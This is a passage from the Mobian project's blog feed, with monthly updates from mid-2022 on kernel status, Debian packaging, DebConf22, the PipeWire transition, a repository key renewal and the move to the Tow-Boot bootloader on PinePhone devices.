&lt;li&gt;the issue tracker remained on gitlab.com for a while, until we decided on the best way to handle
this migration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These problems have now been solved, meaning all packages are now maintained and built on Salsa. We
also decided to get rid of the single issue tracker and instead ask users to open issues in the
corresponding repo/project.&lt;/p&gt;
&lt;p&gt;Finally, we won&amp;rsquo;t be migrating issues from gitlab.com as they would then lose all authorship
information. We therefore ask users who had previously opened issues on gitlab.com to create new
issues on Salsa, notifying them by leaving a comment on existing issues explaining the way forward
(&lt;a href=&#34;https://gitlab.com/mobian1/issues/-/issues/1#note_1144472496&#34;&gt;example&lt;/a&gt;).&lt;/p&gt;
&lt;h1 id=&#34;kernel-status&#34;&gt;Kernel status&lt;/h1&gt;
&lt;p&gt;Due to a desire to ship a kernel with a working camera the 5.18 release cycle was skipped for most
devices. 5.19 on the other hand has been released shortly after upstream, and most device families
can now even use 6.0-based kernels, although this is not the default yet.&lt;/p&gt;
&lt;p&gt;Those more recent kernels contains a number of improvements including:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Working camera on the PinePhone Pro (using a script like &lt;a href=&#34;https://salsa.debian.org/-/snippets/611&#34;&gt;https://salsa.debian.org/-/snippets/611&lt;/a&gt;,
no Megapixels support yet)&lt;/li&gt;
&lt;li&gt;Improved USB-C handling (should now charge and support docks/DP alt mode better) on the PinePhone
Pro as well&lt;/li&gt;
&lt;li&gt;The (temporary) death of the PinePhone Pro smurfbug&lt;/li&gt;
&lt;li&gt;Better audio support on SDM845-based devices&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As is the eternal fun of maintaining downstream patches, the update to Linux 6.0 has killed the
main camera on the PinePhone Pro. We hope to work out this bug and get it back to working state
shortly.&lt;/p&gt;
&lt;h1 id=&#34;updates-and-new-packages-in-debian&#34;&gt;Updates and new packages in Debian&lt;/h1&gt;
&lt;p&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/qrtr&#34;&gt;qrtr&lt;/a&gt;, a set of userspace utilities needed for Qualcomm-based
phones has reached Debian, as well as a number of other packages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/eg25-manager&#34;&gt;eg25-manager&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/numberstation&#34;&gt;numberstation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/phog&#34;&gt;phog&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/phosh-antispam&#34;&gt;phosh-antispam&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/plymouth-theme-mobian&#34;&gt;plymouth-theme-mobian&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/powersupply-gtk&#34;&gt;powersupply-gtk&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The firmware for the RTL8723CS (Wi-Fi/BT chip used on the OG PinePhone and PineTab) has also been
uploaded to Debian, although not by a member of the Mobian team. That obviously won&amp;rsquo;t prevent us
from using this package and dropping our own packaging and getting another step closer to Debian
\o/.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;phog&lt;/code&gt; is a new greeter designed for GTK based phones and Phosh, relying on
&lt;a href=&#34;https://git.sr.ht/~kennylevinsen/greetd&#34;&gt;greetd&lt;/a&gt; to perform the actual authentication and session
startup. This allows Phosh (or any other graphical environment) to be started in very much the same
way a &amp;ldquo;classical&amp;rdquo; desktop environment would start on any distribution, allows one to use multiple
user accounts (or even delete the &lt;code&gt;mobian&lt;/code&gt; user and create another one) and automatically unlocks
the user&amp;rsquo;s keyring on Phosh &amp;amp; GNOME.&lt;/p&gt;
&lt;h1 id=&#34;sxmo&#34;&gt;SXMO&lt;/h1&gt;
&lt;p&gt;The packages required for using SXMO on Mobian have been created and uploaded to Debian. See the
&lt;a href=&#34;https://sources.debian.org/src/sxmo-utils/1.11.1-2/debian/README.Debian/&#34;&gt;Readme.Debian&lt;/a&gt; file for
installation instructions. This brings a second Mobile UI to Debian, with Plasma Mobile and Lomiri
also well on the way.&lt;/p&gt;
&lt;h1 id=&#34;debconf-22&#34;&gt;DebConf 22&lt;/h1&gt;
&lt;p&gt;This year&amp;rsquo;s &lt;a href=&#34;https://debconf22.debconf.org/&#34;&gt;DebConf22&lt;/a&gt; in Kosovo was a blast!
There has been both upstream development done in and/or inspired by the trip:&lt;/p&gt;
&lt;p&gt;Some notable mentions include
&lt;a href=&#34;https://social.librem.one/@agx/108612705281206357&#34;&gt;Showing tickets on the lockscreen&lt;/a&gt;,
&lt;a href=&#34;https://social.librem.one/@agx/108668794144125214&#34;&gt;automatically switching to high contrast based on ambient light sensor&lt;/a&gt;
in &lt;code&gt;phosh&lt;/code&gt;, &lt;a href=&#34;https://git.sr.ht/~fabrixxm/confy/log&#34;&gt;UX improvements&lt;/a&gt; in &lt;code&gt;confy&lt;/code&gt;
&lt;a href=&#34;https://gitlab.gnome.org/GNOME/calls/-/merge_requests/576&#34;&gt;significantly faster startup&lt;/a&gt; and
&lt;a href=&#34;https://gitlab.gnome.org/GNOME/calls/-/merge_requests/579&#34;&gt;being able to initiate sending a SMS from the history popover&lt;/a&gt;
in &lt;code&gt;gnome-calls&lt;/code&gt; and probably more.&lt;/p&gt;
&lt;p&gt;On the packaging front there have been a few uploads and the closing of the occasional bug :)
We&amp;rsquo;re also excited that we got closer to having parts of the &lt;code&gt;sxmo&lt;/code&gt; world during this thime!
For information about individual packages updates have a look at the list above and as usual on
the mailing list mentioned at the end of this blog post.&lt;/p&gt;
&lt;p&gt;Honorary mention of this must-see talk (you&amp;rsquo;ve probably seen it by now) by agx about
&lt;a href=&#34;https://debconf22.debconf.org/talks/103-the-current-state-of-debian-on-smartphones/&#34;&gt;the current state of Debian on smartphones&lt;/a&gt;!&lt;/p&gt;
&lt;p&gt;Finally we want to give a shout out to all of the nice people from the community we had the
pleasure to meet during DebCamp and DebConf, we had a very good time and of course also thanks to
everyone who made this event possible &amp;lt;3&lt;/p&gt;
&lt;p&gt;Special mention to everyone working on the mobile sprint and to everyone who expressed interest in
having Debian mobile devices and chatted with us about it over a Rakija. Gëzuar!&lt;/p&gt;
&lt;h1 id=&#34;the-gnome-43-transition-is-over-the-pipewire-transition-begins&#34;&gt;The GNOME 43 transition is over, the PipeWire transition begins&lt;/h1&gt;
&lt;p&gt;As you may have noticed, this summer has been sometimes a bit bumpy regarding packages/upgrades
availability and the overall stability of Mobian. This was in large part due to the ongoing Debian
transition to GNOME 43, involving a number of breaking changes. Thanks to the work of the Debian
GNOME team this transition was completed during the month of September and things have returned to
normal for a few weeks.&lt;/p&gt;
&lt;p&gt;Similarly, as we all aim for &lt;code&gt;bookworm&lt;/code&gt; to be a high-quality Debian release, it felt best for our
users if Debian switched to using PipeWire (and WirePlumber) as our default sound/multimedia server
(fully replacing PulseAudio) &lt;em&gt;before&lt;/em&gt; the bookworm freeze expected to start next January. This is
definitely a change for the better and one that should improve a lot of things over time, including
for mobile users (call audio, BlueTooth audio and camera handling being just a few areas where we
can expect such improvements).&lt;/p&gt;
&lt;p&gt;However, the move to PipeWire, while being mostly painless, can cause several issues and possibly
disrupt call audio handling. We have no intent to switch back to PulseAudio (it served us well for
a time, but we have to look forward!) and will instead work towards solving the current issues with
PipeWire. Therefore, we ask for your patience (and help if you feel like it) until the transition
to PipeWire is complete.&lt;/p&gt;
&lt;h1 id=&#34;upgrades&#34;&gt;Upgrades&lt;/h1&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;p&gt;As always, we do our best to keep up with upstream releases and have updated a number of Debian
packages over the past few months, including (but not limited to):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/chatty&#34;&gt;chatty&lt;/a&gt;, now with Matrix support!&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/gnome-calls&#34;&gt;gnome-calls&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/megapixels&#34;&gt;megapixels&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/phoc&#34;&gt;phoc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/phosh&#34;&gt;phosh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/squeekboard&#34;&gt;squeekboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/pkg/tootle&#34;&gt;tootle&lt;/a&gt; could finally migrate to testing after fixing
release-critical bugs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A full list on mobile-related uploads to Debian can be found in the corresponding
&lt;a href=&#34;https://alioth-lists.debian.net/pipermail/debian-on-mobile-maintainers/2022-July/date.html&#34;&gt;mailing list archive&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;a-note-on-monthly-posts&#34;&gt;A note on Monthly posts&lt;/h1&gt;
&lt;p&gt;While we strive to get these blog posts out monthly, we are a small group of volunteers. We will
always prioritize getting updates and bugfixes to you over these posts, so please don&amp;rsquo;t take a few
weeks/months of inactivity here as a sign of inactivity in Mobian itself.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>This month in Mobian: June 2022</title>
      <link>https://blog.mobian.org/posts/2022/06/30/tmim/</link>
      <pubDate>Thu, 30 Jun 2022 15:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2022/06/30/tmim/</guid>
      <description>&lt;p&gt;&lt;strong&gt;The end is near!&lt;/strong&gt; The end of June at least, and that means it is time for our monthly recap of what has happened.&lt;/p&gt;
&lt;h1 id=&#34;monthly-dev-meeting&#34;&gt;Monthly dev meeting&lt;/h1&gt;
&lt;p&gt;Many mobian devs came together on the first Saturday of June. Topics of the
meeting included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;moving repositories to salsa: everything from mobian/packages, around 60 repos in total; planning continues, security considerations (access to ssh/signing keys etc needs to be considered); we still need to decide on a switch-over date.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Matrix room upgrade: We need to upgrade our #mobian room to a newer version, as the old one is not compatible with the latest matrix servers anymore. The only problem are the bridges to our other channels. spaetz takes care of the IRC bridge, nobody knows who the telegram bridge admin is, it should not be a blocker though.
&lt;em&gt;Update:&lt;/em&gt; of course the update did not go as well as planned, and people had to migrate manually to the new room. Eventually we got everyone over though.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We might replace gedit with gnome-text-editor, it is more enjoyable. And it would allow us to drop our custom gedit package.
&lt;em&gt;Update:&lt;/em&gt; This has now happened.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;calamares&#34;&gt;Calamares&lt;/h1&gt;
&lt;p&gt;Calamares is the installer that we use to install Mobian. It was finally updated in Debian proper (thanks!), and as a result we were able to drop our Mobian-specific package. In Mobian remaining: calamares-extensions 	1.2.1-1 and calamares-settings-mobian  0.2.3&lt;/p&gt;
&lt;h1 id=&#34;mobian-now-with-even-more-dds&#34;&gt;Mobian, now with even more DDs!&lt;/h1&gt;
&lt;p&gt;No, DD is not shorthand for Donald Duck, it stands for &amp;ldquo;Debian Developer&amp;rdquo; which is a formal status, requiring sponsors and a (usually) lengthy process. We have quite a few DDs in our own (informal) ranks, but Mobian&amp;rsquo;s founder @a-wai has now also &lt;a href=&#34;https://mastodon.online/@awai/108561758730576102&#34;&gt;become one&lt;/a&gt;. Congrats Arnaud, and way to go!&lt;/p&gt;
&lt;h1 id=&#34;gnome-text-exitor-now-more-mobile-friendly&#34;&gt;gnome-text-exitor, now more mobile friendly&lt;/h1&gt;
&lt;p&gt;We have &lt;a href=&#34;https://gitlab.gnome.org/GNOME/gnome-text-editor/-/merge_requests/52&#34;&gt;added patches&lt;/a&gt; to make gnome-text-editor more mobile friendly, by wrapping labels on narrow screens in the top bar. Patches have been sent to upstream too.&lt;/p&gt;
&lt;h1 id=&#34;pinephone-keyboard&#34;&gt;PinePhone Keyboard&lt;/h1&gt;
&lt;p&gt;The PinePhone keyboard driver in the 5.15-sunxi64 kernel has been fixed, allowing both the keyboard and battery levels to work again thanks to testing by Johns in #Mobian who provided logs and validated the fix pre-release. You may notice that the function keys no longer work the way they used to. A configuration which fixes this permanently can be found on the &lt;a href=&#34;https://wiki.mobian.org/ppaccessories&#34;&gt;Mobian wiki&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;pgp-key-expiry&#34;&gt;PGP Key Expiry&lt;/h1&gt;
&lt;p&gt;Like certificates before certbot, you never think about PGP key expiry until it bites. Mobian has just celebrated it&amp;rsquo;s two year repository key anniversary the fun way: by scrambling to update the key and get it out to devices. Fear not, the key has not been compromised. The same old key with an updated expiry can be found on the &lt;a href=&#34;https://repo.mobian.org/mobian.gpg&#34;&gt;Mobian repository&lt;/a&gt; and your system can be updated with it by running &lt;code&gt;apt-key --keyring=/etc/apt/trusted.gpg.d/mobian.gpg mobian.gpg&lt;/code&gt; after downloading the file.
We will have a new package called &lt;code&gt;mobian-archive-keyring&lt;/code&gt; which will be pulled in automatically by &lt;code&gt;mobian-base&lt;/code&gt; in order to update the gpg key automatically the next time.&lt;/p&gt;
&lt;p&gt;The new key:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;gt; $ sha256sum mobian.gpg*
4ab90ff82a88f11f681e5e857503833eb2108c9a77edaa9f64b7648c1b91c60a  mobian.gpg
e1004f14f260ba2835e80a6a4c3d4bc48a3db264bed93fe32438a2a50394516b  mobian.gpg.key

&amp;gt; $ gpg --show-key &amp;lt; mobian.gpg
pub   rsa4096 2020-06-16 [SC] [expires: 2024-06-15]
      D569936C7E32F193CBAAEC48393F924A855FB27D
uid                      Mobian Project &amp;lt;admin@mobian-project.org&amp;gt;
sub   rsa4096 2020-06-16 [S] [expires: 2024-06-15]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The old key:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ sha256sum mobian_old.gpg*
659f04acdd8226032a086ec054926ddf8c8207f64e092365955c8740471fd309  mobian_old.gpg
e52c1b41c5e52d1932ec9bd009d20abdb0b5cab01a89ddc51237adde28dcdc3f  mobian_old.gpg.key

&amp;gt; $ gpg --show-key &amp;lt; mobian_old.gpg
pub   rsa4096 2020-06-16 [SC] [expired: 2022-06-16]
      D569936C7E32F193CBAAEC48393F924A855FB27D
uid                      Mobian Project &amp;lt;admin@mobian-project.org&amp;gt;
sub   rsa4096 2020-06-16 [S] [expired: 2022-06-16]
&lt;/code&gt;&lt;/pre&gt;&lt;h1 id=&#34;kernel-status&#34;&gt;Kernel status&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&#34;text-align:left&#34;&gt;Mobile&lt;/th&gt;
&lt;th style=&#34;text-align:center&#34;&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;linux-5.15-librem5&lt;/td&gt;
&lt;td style=&#34;text-align:center&#34;&gt;5.15.37+librem5-7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;linux-5.15-sunxi64&lt;/td&gt;
&lt;td style=&#34;text-align:center&#34;&gt;5.15.50+sunxi64-2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;linux-5.17-arm64-mobian&lt;/td&gt;
&lt;td style=&#34;text-align:center&#34;&gt;5.17.5+mobian-2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;linux-5.17-librem5&lt;/td&gt;
&lt;td style=&#34;text-align:center&#34;&gt;5.17.5+librem5-2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;linux-5.17-rockchip&lt;/td&gt;
&lt;td style=&#34;text-align:center&#34;&gt;5.17.15+rockchip-1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;linux-5.17-sdm845&lt;/td&gt;
&lt;td style=&#34;text-align:center&#34;&gt;5.17.5+sdm845-5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&#34;text-align:left&#34;&gt;linux-5.17-sunxi64&lt;/td&gt;
&lt;td style=&#34;text-align:center&#34;&gt;5.17.1+sunxi64-1&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Major kudos to @undef for tirelessly porting patches and resolving issues.&lt;/p&gt;
&lt;h1 id=&#34;dropping-packages&#34;&gt;Dropping packages&lt;/h1&gt;
&lt;p&gt;Quite a few custom packages are about to be updated in Debian, which will allow us to drop them from the Mobian repository in the near future.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Calamares has already been dropped.&lt;/li&gt;
&lt;li&gt;Osk-sdl will transition to testing early next month.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;upgrades&#34;&gt;Upgrades&lt;/h1&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;ul&gt;
&lt;li&gt;2022-06-01 calamares 3.2.59-1 into Debian unstable&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://tracker.debian.org/news/1330138/accepted-phosh-0200beta1-1-source-into-experimental/&#34;&gt;2022-06-01&lt;/a&gt; phosh 0.20.0~beta1-1 into Debian experimental, bringing a swipable keyboard (no longer acidentally tapping the bottom bar!) kudos to purism (and on June 27, we got 0.20.0-beta2 in experimental)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A full list on mobile-related uploads to Debian can be found in the corresponding &lt;a href=&#34;https://alioth-lists.debian.net/pipermail/debian-on-mobile-maintainers/2022-June/date.html&#34;&gt;mailing list archive&lt;/a&gt;.&lt;/p&gt;</description>
    </item>
    
    <item>
      <title>This month in Mobian: May 2022</title>
      <link>https://blog.mobian.org/posts/2022/05/31/tmim/</link>
      <pubDate>Tue, 31 May 2022 23:59:59 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2022/05/31/tmim/</guid>
      <description>&lt;p&gt;This is the first in a (hopefully) series of short blog posts
summarizing what has happened in Mobianland. Given that Mobian
integrates much of the ecosystem not developed by us, this report
could reiterate many of the things being said somewhere else.&lt;/p&gt;
&lt;h1 id=&#34;monthly-dev-meeting&#34;&gt;Monthly dev meeting&lt;/h1&gt;
&lt;p&gt;Despite being located all over the world (really!), we manage to meet
in person once a month. Well, ok, &amp;ldquo;meet in person&amp;rdquo; means we conduct a
jitsi video call. It is fun seeing all these sleepy faces where half
of the people would like to go to bed already, while others wished they
could have remained in bed longer.&lt;/p&gt;
&lt;p&gt;The TL;DR:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;we will attempt to move over more repositories from gitlab to
salsa.debian.org (given gitlabs changes to the CI allowance we get,
and in an attempt to align ourselves closer to Debian).&lt;/li&gt;
&lt;li&gt;In a similar move, the developer&amp;rsquo;s wiki (NOT the &lt;a href=&#34;https://wiki.mobian.org&#34;&gt;user
wiki&lt;/a&gt;) moves over to the &lt;a href=&#34;https://wiki.debian.org/Teams/Mobian&#34;&gt;Debian
wiki&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;pondering if systemd-repart and systemd-growfs can maybe replace &amp;ldquo;growroot&amp;rdquo;&lt;/li&gt;
&lt;li&gt;We really should be opening a user-contrib section or something
where contributed ports and kernels can live, e.g. for the Nexus
5. Planning stage.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;oneplus-6--pocophone-f1&#34;&gt;OnePlus 6 / Pocophone F1&lt;/h1&gt;
&lt;p&gt;Audio was broken due to a missing config option on 5.17 kernels, and was
fixed by a subsequent update. Thanks to everyone who reported this issue
and provided the information allowing us to fix it.&lt;/p&gt;
&lt;h1 id=&#34;universal-images&#34;&gt;Universal Images&lt;/h1&gt;
&lt;p&gt;We have a universal mobian image that boots on the original Pinephone
and the Pinephone Pro, however, there are still some bugs to iron out
and kernel configs to be adapted. But overall, this looks promising.&lt;/p&gt;
&lt;p&gt;However, this will require some tool that can adapt configuration
settings at runtime, based on the device it is currently running on.&lt;/p&gt;
&lt;h1 id=&#34;tow-boot&#34;&gt;Tow-boot&lt;/h1&gt;
&lt;p&gt;We were one of the earliest distributions to move over to tow-boot,
and that worked out nearly well. However, there is a little catch:
There is no tow-boot for the PineTab yet. So all images post-March 27,
will not be able to install a U-boot if you have non installed
yet. Help to port tow-boot to the PineTab is very welcome, it should
not be too hard, but somebody needs to do it.&lt;/p&gt;
&lt;h1 id=&#34;pinephone-keyboard&#34;&gt;PinePhone Keyboard&lt;/h1&gt;
&lt;p&gt;Mobian is now using the new PinePhone Keyboard kernel driver. As a
result, users may notice the top-row symbol keys stop working. The
permanent fix for this can be found on the
&lt;a href=&#34;https://wiki.mobian.org/ppaccessories&#34;&gt;mobian wiki&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;chatty-and-libjabberso&#34;&gt;Chatty and libjabber.so&lt;/h1&gt;
&lt;p&gt;You may have noticed some breakage with chatty.
This was caused by chatty having a runpath set to be able to find
things like libjabber.so.
These plugins used to live in &lt;code&gt;/usr/lib/purple-2&lt;/code&gt; and when a recent
update changed to multiarch directory (f.e. &lt;code&gt;/usr/lib/x86-64-linux-gnu/purple-2&lt;/code&gt;)
it caused
&lt;a href=&#34;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1011166&#34;&gt;issues&lt;/a&gt;
&lt;a href=&#34;https://mastodon.online/@devrtz/108344777725443773&#34;&gt;with&lt;/a&gt;
&lt;a href=&#34;https://gitlab.com/mobian1/issues/-/issues/437&#34;&gt;chatty&lt;/a&gt;.
We hope this was not too much of an inconvenience!&lt;/p&gt;
&lt;h1 id=&#34;debian-reunion-hamburg-2022&#34;&gt;Debian Reunion Hamburg 2022&lt;/h1&gt;
&lt;p&gt;The end of the month saw the
&lt;a href=&#34;https://mastodon.online/web/@debian@framapiaf.org/108351272394365597&#34;&gt;Debian Reunion Hamburg 2022&lt;/a&gt;
with an almost critically high density of linux first devices :)
This time we didn&amp;rsquo;t have a talk specifically about Mobian/Debian on mobile devices,
but you might still find something interesting to
&lt;a href=&#34;https://mastodon.online/web/@debian@framapiaf.org/108387133781861240&#34;&gt;watch online&lt;/a&gt;.
It was very fun meeting fellow Debianites in person and we look forward to
&lt;a href=&#34;https://debconf22.debconf.org/&#34;&gt;Debconf 2022&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id=&#34;upgrades&#34;&gt;Upgrades&lt;/h1&gt;
&lt;!-- raw HTML omitted --&gt;
&lt;ul&gt;
&lt;li&gt;2022-04-25 squeekboard 1.17.1-1 MIGRATED
(I know strictly speaking, this is April. Hair-splitters!)&lt;/li&gt;
&lt;li&gt;2022-05-04 linux-image-5.15-sunxi64_5.15.38&lt;/li&gt;
&lt;li&gt;2022-05-15 Gnome Control Center 42.1&lt;/li&gt;
&lt;/ul&gt;</description>
    </item>
    
    <item>
      <title>Moving to Tow-Boot: Towards Device-Independant Images</title>
      <link>https://blog.mobian.org/posts/2022/03/30/universal-images/</link>
      <pubDate>Wed, 30 Mar 2022 00:00:00 +0000</pubDate>
      
      <guid>https://blog.mobian.org/posts/2022/03/30/universal-images/</guid>
      <description>&lt;p&gt;Mobian (and most of the Arm Linux ecosystem) have been dealing with device-specific boot
sequences since our inception. However, recent changes have made it possible
to standardise these. This blog post will discuss how these changes affect Mobian
and the long term goal of creating a universal image for Mobian devices.&lt;/p&gt;
&lt;h1 id=&#34;every-problem-has-a-solution&#34;&gt;Every problem has a solution&lt;/h1&gt;
&lt;p&gt;Each ARM-based SoC implements its own boot sequence, looking for a bootloader at different
locations on different storage devices. For example, the OG PinePhone&amp;rsquo;s Allwinner A64 looks for it
at an 8KiB offset, first on the SD card, then on the eMMC. The PinePhone Pro&amp;rsquo;s RK3399 expects it to be
either on a SPI flash device, or at offset 32KiB on the eMMC or the SD card. Until now, we dealt with
those differences by generating per-device images, each one embedding a copy of the bootloader (&lt;code&gt;u-boot&lt;/code&gt;
in our case) at the exact offset expected by the SoC.&lt;/p&gt;
&lt;p&gt;However, this isn&amp;rsquo;t very practical, as it prevents us from generating device-independent images,
and it can have annoying side effects: in some cases, the bootloader can remain untouched on an
SD card even after reformatting.&lt;/p&gt;
&lt;p&gt;Fortunately, there is way to work around this problem: by letting users install the bootloader
themselves, either on the SPI flash (for devices including one) or the eMMC&amp;rsquo;s boot partitions (which
are left untouched when flashing new images to the device), we can stop embedding our own copy of the
bootloader.&lt;/p&gt;
&lt;p&gt;Following the trend across the Mobile Linux community, we therefore settled for &lt;a href=&#34;https://tow-boot.org/&#34;&gt;Tow-Boot&lt;/a&gt;
as the recommended bootloader and will now require PinePhone (OG and Pro versions) users to install
it before flashing a Mobian image to their devices.&lt;/p&gt;
&lt;h1 id=&#34;existing-installs&#34;&gt;Existing Installs&lt;/h1&gt;
&lt;p&gt;The most important part of this change is that it &lt;strong&gt;will not&lt;/strong&gt; break existing
installs. Distribution-installed u-boot is however deprecated and will not receive updates.
If you do nothing but update, you will see the &lt;code&gt;u-boot-sunxi&lt;/code&gt; (PinePhone)  or
&lt;code&gt;u-boot-rockchip&lt;/code&gt; (PinePhone Pro) package removed. Removing it will not stop your
device from booting as the boot image will remain: only the bootloader copy located
on the rootfs will be deleted.&lt;/p&gt;
&lt;p&gt;However, this package will no-longer be updated on devices supported by Tow-Boot,
although you may still receive updates from Debian&amp;rsquo;s version of the package, which
won&amp;rsquo;t affect the existing boot sector (neither breaking it nor updating it).
In order to install new images or receive boot firmware updates, you should
install the latest version of Tow-Boot.&lt;/p&gt;
&lt;h1 id=&#34;new-installs&#34;&gt;New Installs&lt;/h1&gt;
&lt;p&gt;New installs of supported devices (PinePhone and PinePhone Pro at this time) will
not come with u-boot installed. Rather, Mobian will assume that the device already
contains all firmware required to boot. If this is not the case, no need to worry,
simply go to the &lt;a href=&#34;https://tow-boot.org/&#34;&gt;Tow-Boot website&lt;/a&gt; and follow the
instructions for your device.&lt;/p&gt;
&lt;h1 id=&#34;universal-images&#34;&gt;Universal Images&lt;/h1&gt;
&lt;p&gt;A small part of the benefit of this change is that Mobian no-longer deals with
installing and upgrading u-boot on devices. This can be tricky and potentially result
in non-booting systems.&lt;/p&gt;
&lt;p&gt;The biggest benefit however, is the opportunity to provide a single, universal image
for mainline Linux devices. We are not there yet, but the eventual goal is to
provide a single, &amp;ldquo;as close to mainline as possible&amp;rdquo; kernel and rootfs that will work
on multiple devices.&lt;/p&gt;
&lt;h1 id=&#34;frequently-asked-questions&#34;&gt;Frequently Asked Questions&lt;/h1&gt;
&lt;p&gt;Q: So what exactly is this Tow-Boot?
A: Tow-Boot is a user-friendly, opinionated distribution of U-Boot, where there is as few
differences in features possible between boards, and a &amp;ldquo;familiar&amp;rdquo; user interface for an
early boot process tool.  The goal of Tow-Boot is to make booting boring. Tow-Boot replaces
all of the functionality of Mobian&amp;rsquo;s current u-boot package.&lt;/p&gt;
&lt;p&gt;Q: Can I safely remove &lt;code&gt;u-boot-*&lt;/code&gt;?
A: Removing these packages is safe, even if you have not yet installed Tow-Boot, with
one exception: &lt;code&gt;u-boot-menu&lt;/code&gt; is still mandatory (and a hard dependency) on devices
using Tow-Boot.&lt;/p&gt;
&lt;p&gt;Q: Will Mobian be packaging Tow-Boot?
A: No. This move means we do not have to manage the boot firmware and packaging it would
take us right back there. Mobian will eventually support updating Tow-Boot via fwupd when
this is supported upstream. In the mean time, the Tow-Boot installer is recommended.&lt;/p&gt;
&lt;p&gt;Q: How do I know if I have Tow-Boot installed?
A: If your device immediately boots to a red LED and a short vibration, followed by another
vibration and the LED turning yellow, you probably have Tow-Boot.
However, installing Tow-Boot is a manual process. You would probably remember having installed
it.&lt;/p&gt;
&lt;p&gt;Q: Should I keep &lt;code&gt;u-boot-*&lt;/code&gt; around as a fallback?
A: This shouldn&amp;rsquo;t be required and Mobian will not be updating u-boot on these devices going forward.
In the off-chance a Tow-Boot update goes wrong, we recommend fixing it using the Tow-Boot
installer.&lt;/p&gt;
&lt;p&gt;Q: I&amp;rsquo;ve installed Tow-Boot on my original PinePhone but it&amp;rsquo;s not working as described.
A: The original PinePhone will always boot any u-boot on the SD card first. If you have
an older Mobian image or another OS image on the SD card this may happen. Removing the SD
card or wiping u-boot off it should cause Tow-Boot to work.&lt;/p&gt;
&lt;p&gt;Q: How does Mobian boot using Tow-Boot?
A: Mobian installs a u-boot configuration file at &lt;code&gt;/boot/extlinux/extlinux.conf&lt;/code&gt; containing the
required boot settings. Tow-Boot can parse this and correctly boot the device directly.
Other options included UEFI booting, but using the existing extlinux setup was the least
disruptive option&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Some major changes to Mobian&amp;rsquo;s boot sequence are being released to align with the
direction of the community. Those changes make room for further improvements in Mobian
with the added benefit of unifying both the boot process across different devices, and
the way mobile Linux systems can be installed. We also hope hardware vendors will, over
time, follow this path and ship their devices with Tow-Boot (or a similar bootloader)
